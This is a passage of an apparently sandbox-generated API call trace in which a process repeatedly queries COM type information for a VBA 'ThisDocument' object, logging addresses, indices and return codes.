ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc1, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc2, ppFuncDesc=0x126d48, pDummy=0x140 | out: ppFuncDesc=0x126d48, pDummy=0x140) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc3, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc4, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc5, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc6, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc7, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc8, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc9, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xca, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcb, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcc, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcd, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xce, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcf, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd0, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd1, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd2, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd3, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd4, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd5, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd6, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd7, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd8, ppFuncDesc=0x126d48, pDummy=0x140 | out: ppFuncDesc=0x126d48, pDummy=0x140) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd9, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xda, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdb, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdc, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdd, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xde, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdf, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.490] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe0, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.490] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe1, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe2, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe3, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe4, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe5, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe6, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe7, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe8, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe9, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xea, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xeb, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xec, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xed, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xee, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xef, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf0, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf1, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf2, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf3, ppFuncDesc=0x126d48, pDummy=0x140 | out: ppFuncDesc=0x126d48, pDummy=0x140) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf4, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf5, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf6, ppFuncDesc=0x126d48, pDummy=0x140 | out: ppFuncDesc=0x126d48, pDummy=0x140) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf7, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.491] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf8, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.491] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.492] ITypeInfo2:GetCustData (in: This=0x68568f0, GUID=0x7fee4b3d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x126d78 | out: pVarVal=0x126d78*(varType=0x0, wReserved1=0x0, wReserved2=0x1b8, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0053.492] IUnknown:Release (This=0x68568f0) returned 0x2 [0053.492] ITypeInfo:RemoteGetDocumentation (in: This=0x68568f0, memid=-1, refPtrFlags=0x126d70, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0053.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x126c80, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0053.492] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0053.493] ITypeInfo:GetRefTypeOfImplType (in: This=0x68569a0, index=0x0, pRefType=0x126f98 | out: pRefType=0x126f98*=0x3) returned 0x0 [0053.493] ITypeInfo:GetRefTypeInfo (in: This=0x68569a0, hreftype=0x3, ppTInfo=0x126fa8 | out: ppTInfo=0x126fa8*=0x69bee28) returned 0x0 [0053.493] IUnknown:Release (This=0x68569a0) returned 0x2 [0053.493] ITypeInfo:RemoteGetTypeAttr (in: This=0x69bee28, ppTypeAttr=0x126fa0, pDummy=0x126f78 | out: ppTypeAttr=0x126fa0, pDummy=0x126f78*=0x3) returned 0x0 [0053.493] ITypeInfo:LocalReleaseTypeAttr (This=0x69bee28) returned 0x0 [0053.493] ITypeInfo:GetRefTypeOfImplType (in: This=0x69bee28, index=0x0, pRefType=0x126f98 | out: pRefType=0x126f98*=0x182) returned 0x0 [0053.493] ITypeInfo:GetRefTypeInfo (in: This=0x69bee28, hreftype=0x182, ppTInfo=0x126fa8 | out: ppTInfo=0x126fa8*=0x69bee80) returned 0x0 [0053.493] IUnknown:Release (This=0x69bee28) returned 0x1 [0053.493] ITypeInfo:RemoteGetTypeAttr (in: This=0x69bee80, ppTypeAttr=0x126fa0, pDummy=0x126f80 | out: ppTypeAttr=0x126fa0, pDummy=0x126f80*=0x126fb0) returned 0x0 [0053.493] ITypeInfo:LocalReleaseTypeAttr (This=0x69bee80) returned 0x0 [0053.493] IUnknown:Release (This=0x69bee80) returned 0x1 [0053.493] IUnknown:Release (This=0x68569a0) returned 0x1 [0053.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="035e132abf", cchWideChar=11, lpMultiByteStr=0x126f90, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="035e132abf", lpUsedDefaultChar=0x0) returned 11 [0053.493] GetLocalTime (in: lpSystemTime=0x127078 | out: lpSystemTime=0x127078*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x2, wDay=0x8, wHour=0xc, wMinute=0x28, wSecond=0x1f, wMilliseconds=0x1be)) [0053.493] _ultow_s (in: _Value=0x5e132abf, _Buffer=0x6a9cc44, _BufferCount=0x9, _Radix=16 | out: _Buffer="5e132abf") returned 0x0 [0053.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="045e132abf", cchWideChar=11, lpMultiByteStr=0x126fd0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="045e132abf", lpUsedDefaultChar=0x0) returned 11 [0053.493] ITypeInfo:RemoteGetTypeAttr (in: This=0x68569a0, ppTypeAttr=0x127028, pDummy=0x6a883d0 | out: ppTypeAttr=0x127028, pDummy=0x6a883d0*=0x7) returned 0x0 [0053.493] ITypeInfo:RemoteGetTypeAttr (in: This=0x68569a0, ppTypeAttr=0x126fd0, pDummy=0x6a883d0 | out: ppTypeAttr=0x126fd0, pDummy=0x6a883d0*=0x7) returned 0x0 [0053.493] ITypeInfo:LocalReleaseTypeAttr (This=0x68569a0) returned 0x0 [0053.493] ITypeInfo:LocalReleaseTypeAttr (This=0x68569a0) returned 0x0 [0053.493] IUnknown:Release (This=0x68569a0) returned 0x1 [0053.493] IMalloc:Realloc (This=0x7feffc15380, pv=0x6a800c0, cb=0x100) returned 0x69921f0 [0053.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x126e10, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0053.494] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0053.494] IUnknown:Release (This=0x68569a0) returned 0x1 [0053.494] IUnknown:Release (This=0x68569a0) returned 0x1 [0053.494] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126bd0 | out: ppvObject=0x126bd0*=0x0) returned 0x80004002 [0053.494] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b340f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x126b18 | out: ppvObject=0x126b18*=0x68568f0) returned 0x0 [0053.494] ITypeInfo2:GetCustData (in: This=0x68568f0, GUID=0x7fee4b3d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x126b28 | out: pVarVal=0x126b28*(varType=0x0, wReserved1=0x12, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0053.494] IUnknown:Release (This=0x68568f0) returned 0x2 [0053.494] ITypeInfo:RemoteGetDocumentation (in: This=0x68568f0, memid=-1, refPtrFlags=0x126b20, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x126b40 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x126b40*="") returned 0x0 [0053.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x126a30, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0053.494] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0053.494] ITypeInfo:RemoteGetTypeAttr (in: This=0x68569a0, ppTypeAttr=0x126b20, pDummy=0x0 | out: ppTypeAttr=0x126b20, pDummy=0x0) returned 0x0 [0053.494] ITypeInfo:LocalReleaseTypeAttr (This=0x68569a0) returned 0x0 [0053.494] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x0, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.494] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.494] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.494] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.494] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.494] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.494] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.494] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.494] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.494] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.494] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.494] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.494] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.494] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.494] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.494] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.494] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.494] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x10, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x11, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x12, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x13, ppFuncDesc=0x126af8, 